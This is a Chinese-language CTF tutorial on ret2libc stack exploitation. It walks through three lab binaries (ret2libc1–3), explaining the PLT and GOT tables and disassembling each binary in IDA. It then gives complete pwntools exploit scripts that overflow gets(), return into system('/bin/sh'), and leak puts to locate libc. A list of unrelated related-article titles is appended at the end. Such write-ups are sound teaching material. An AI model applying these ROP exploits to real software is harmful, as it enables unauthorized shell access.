pwn基本ROP——ret2libc
ret2libc
- 环境
- PLT表和GOT表
- ret2libc1
- 原理
- 漏洞分析
- 使用checksec查看保护措施
- 使用IDA32位进行调试
- 获取偏移量
- payload
- ret2libc2
- 原理
- 漏洞分析
- checksec
- 使用IDA进行调试
- payload
- ret2libc3
- 原理
- 漏洞分析
- checksec
- 使用IDA调试
- payload
环境
retlibc1
ret2libc2
ret2libc3
PLT表和GOT表
在进行ret2libc学习之前,我们需要先了解一下PLT表与GOT表的内容。
Globle offset table
(GOT)全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址
Procedure linkage table
(PLT)过程连接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量
关于GOT与PLT的详细内容可以看这个视频学习,这里只进行简要介绍
简单来说,当程序第一次执行函数A时,流程如下:
在汇编程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。
当程序第二次执行函数A时,流程如下
可以看到此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。
ret2libc1
原理
利用程序自带的system
函数和/bin/sh
字符串构造system("/bin/sh")
函数,通过主函数gets
函数溢出覆盖返回值来返回到system
函数地址,从而执行上述函数获得最高权限。
漏洞分析
使用checksec查看保护措施
checksec ret2libc1
可以看到是32位程序,且仅开启了堆栈不可执行
使用IDA32位进行调试
主函数反汇编结果如下
int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("RET2LIBC >_<");gets(s);return 0;
}
在这里我们发现了gets
危险函数,gets
不对输入数据的边界作限制,故可利用这个函数造成溢出覆盖返回值来执行我们想要执行的函数
观测左边函数一栏,我们可以发现存在_system
函数,其plt地址为0x08048460
。
再利用Shift + F12
组合键查看字符串,我们可以看到/bin/sh
字符串,其地址为0x08048720
我们就可以利用上述两个信息来构造一套组合拳,通过main
函数的return
返回到system
函数的plt地址来执行该函数,并传入/bin/sh
字符串的地址,具体可见payload
获取偏移量
利用gdb进行随机字符填充,覆盖返回值,然后根据返回值的覆盖情况来获取return偏移量。
gdb ret2libc1
cyclic 200
r
可以看到Invalid address 0x62616164
,我们再利用cyclic
查看一下这四个字符在随机字符中的位置
可以看到是在112位,所以return
偏移量为112
payload
from pwn import *io = process('./ret2libc1')sys_plt = p32(0x08048460)
bin_sh = p32(0x08048720)payload = bytes('a' * 112,'utf-8') + sys_plt + bytes('bbbb','utf-8') + bin_shio.sendline(payload)io.interactive()
地址 | 栈中数据 |
---|---|
ebp ~ ebp - 0x64 | a |
main函数return | sys_plt |
system函数return | bbbb |
system函数参数 | “/bin/sh” |
ret2libc2
原理
这个版本与上个版本的区别就是/bin/sh
字段不再出现在程序中,我们只能自行构造/bin/sh
这里可以通过gets
函数将/bin/sh
输入到.bss
段,然后再像ret2libc1
一样的操作执行system
函数
漏洞分析
checksec
可以看到是32位程序,仅开启了NX堆栈不可执行
使用IDA进行调试
主函数反汇编结果如下
int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("Something surprise here, but I don't think it will work.");printf("What do you think ?");gets(v4);return 0;
}
可以看到这里存在与ret2libc1
一样的漏洞,可以利用gets
来覆盖返回值
我们依旧可以在左边的函数栏找到_system
,找到system的plt地址为08048490
再次利用shift + F12
查找字符串,并没有发现/bin/sh
但我们发现左边plt段有_gets
,所以可以利用gets
函数,将全局变量的某个数组作为gets
函数的参数,从而输入/bin/sh
来自造该字符串
进入.bss
段,发现了buf2
数组
利用gdb调试看看这里该地址可以写入
可以看到,buf2
数组在0x804a000~0x804b000
段,该段有写入权限
所以我们可以将buf2
作为gets
函数的参数传入,读入/bin/sh
来自造数据,从而执行system
函数
payload
from pwn import *io = process('./ret2libc2')gets_plt = p32(0x08048460)
sys_plt = p32(0x08048490)
buf2_addr = p32(0x0804A080)payload = bytes('a' * 112,'utf-8') + gets_plt + sys_plt + buf2_addr + buf2_addrio.sendline(payload)
io.sendline('/bin/sh')io.interactive()
地址 | 栈中数据 |
---|---|
ebp~ebp-0x64 | a |
main函数return | gets_plt |
gets函数return | sys_plt |
gets函数参数&&system函数return | buf2_addr |
system函数参数 | buf2_addr |
ret2libc3
原理
在这道题中,system
函数的plt地址
也没了,我们必须将system
函数和/bin/sh
都构造出来才可以获取最高权限。
在程序每次运行时libc函数库的位置都不一样,但libc中的函数的相对位置是不会改变的,所以我们只需要找到一个函数的地址,再找到我们想要的函数的偏移量,就可以找到我们想要执行的函数的地址
但这里的偏移量该怎么查找呢?
这里我们要用到一个工具:libcsearcher
该工具用法如下
from LibcSearcher import *#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
漏洞分析
checksec
可以看到该程序是32位的,且仅开启了NX堆栈不可执行
使用IDA调试
main函数反汇编结果如下
int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No surprise anymore, system disappeard QQ.");printf("Can you find it !?");gets(s);return 0;
}
我们依旧可以通过gets
函数来修改返回地址,执行想要执行的函数,具体见payload
payload
from pwn import *
from LibcSearcher import *io = process('./ret2libc3')
elf = ELF('./ret2libc3')puts_plt = p32(elf.plt['puts'])
puts_got = p32(elf.got['puts'])
start_addr = p32(elf.symbols['_start'])
payload = bytes('a' * 112,'utf-8') + puts_plt + start_addr + puts_got
io.sendlineafter("Can you find it !?",payload)
puts_addr = u32(io.recv(4))
print('aa')libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
sys_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
payload2 = bytes('a' * 112,'utf-8') + p32(sys_addr) + bytes('b' * 4,'utf-8') + p32(bin_sh_addr)io.sendlineafter("Can you find it !?",payload2)io.interactive()
关于ELF的教学可以在这里进行学习
payload1:
地址 | 栈中数据 |
---|---|
ebp ~ ebp-0x64 | a |
main函数return | puts_plt |
puts函数return | start_addr |
puts函数参数 | puts_got |
这样构造即可输出puts_got
,且puts
函数返回到_start
,即整个程序开始的地方,程序重新运行,我们可以再次输入数据来执行想要的命令,如下
payload2:
地址 | 栈中数据 |
---|---|
ebp~ebp-0x64 | a |
main函数return | sys_addr |
system函数return | bbbb |
system函数参数 | /bin/sh |
这里我们利用puts
函数的地址找到了libc
的位置,利用puts
函数的地址和libc
中的puts
函数的偏移量找到libc
的基址,从而以这个基址加上libc
中system
和/bin/sh
的偏移量找到这两个函数(字符串)的地址,再通过gets
函数修改返回值来执行system
函数获取权限
pwn基本ROP——ret2libc相关推荐
- CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)
参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...
- pwn基本ROP——ret2syscall
ret2syscall 环境 原理 系统调用 利用方式 漏洞分析 使用`checksec`指令查看程序保护措施 使用IDA32位进行调试 payload 环境 ret2syscall 原理 系统调用 ...
- PWN题型之Ret2Libc
文章目录 前言 0x1 :使用前提条件 0x2 :解题思路 0x3 :32位程序libc题型模板 0x4 :代码的解析 0x5 :64位程序实例 前言 菜鸡总结,如有不对,请不吝赐教. 0x1 :使用 ...
- pwn学习总结(三) —— 栈溢出经典题型整理
pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...
- 攻防世界(Pwn) PWN100
同时这里还存在一个 v1溢出点 我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈我们要先知道这个特性 这题,里面既没 ...
- 基本ROP之ret2libc2
原理 ret2libc即控制函数执行libc中的函数,通常是返回至某个函数plt表处或者函数的具体位置(即函数对应的got表项的内容),一般情况下我们选择执行system("/bin/sh& ...
- pwn——basic rop1
pwn--basic rop (ret2text): 老规矩,先checksec一下: 发现开启了NX,堆栈不可执行 放入ida中: 发现存在get函数,可溢出: 查看其他函数,发现在secure中存 ...
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- 攻防对抗形势下代码重用技术的演进
,基于代码重用的程序执行方式被广泛用于漏洞攻击中, 用来绕过代码不可执行.动态代码签名等安全机制.图 2从时间维度给出了代码重用攻击的演变历程. Fig. 2 Evolution of binary ...
最新文章
- 如何对linux镜像md5,Linux系统如何校验SHA1和MD5
- Django的前世今生
- Tensorflow MNIST浅层神经网络的解释和答复
- OpenCv霍夫变换与RANSAC检测圆形
- c#中mysql远程连接方法及实例
- 大咖开讲:一小时学会.NET MVC开发的那些事儿
- 指针,指针函数,指针数组的区别
- oracle查看jdk文档_Oracle JDK 9 Early Access文档已更新
- LeetCode-1052:爱生气的书店老板
- Eclipse开发环境下,部署和配置svn的整个过程
- 字节一面,面试官拿System.out.println()考了我半个小时?我懵逼了...
- 19_debug断点调试
- es6箭头函数_如何优雅地使用 ES6 箭头函数
- Solaris操作系统介绍
- Vue看板娘教程详细版
- 数据库 -- 基础操作(二)
- 怎么把视频内存压缩小?视频内存过大怎么压缩?
- 如何搭建一个属于自己的直播平台?
- python总结(数据类型、逻辑控制、函数、类与对象、推导式、解包、类型转换、异常、上下文、jsonpath、定时器)
- 常用免费文献下载平台
热门文章
- 干货 | 携程微服务体系下的服务治理之道和优化实践
- 人工智能实践教程(一)
- 高性能mysql 随笔
- 有关3d引擎优化的一些搜索整理
- U盘被识别为其他设备(显示U盘图标但是不显示盘符)的解决办法
- 查oracle的tps,Oracle TPS指标
- 青云云服务器怎么上传文件,青云QingCloud发布文件存储,进一步完善软件定义存储解决方案...
- SharpDevelop的AddInTree View 插件
- 485与232的区别
- Error: `fsevents` unavailable (this watcher can only be used on Darwin)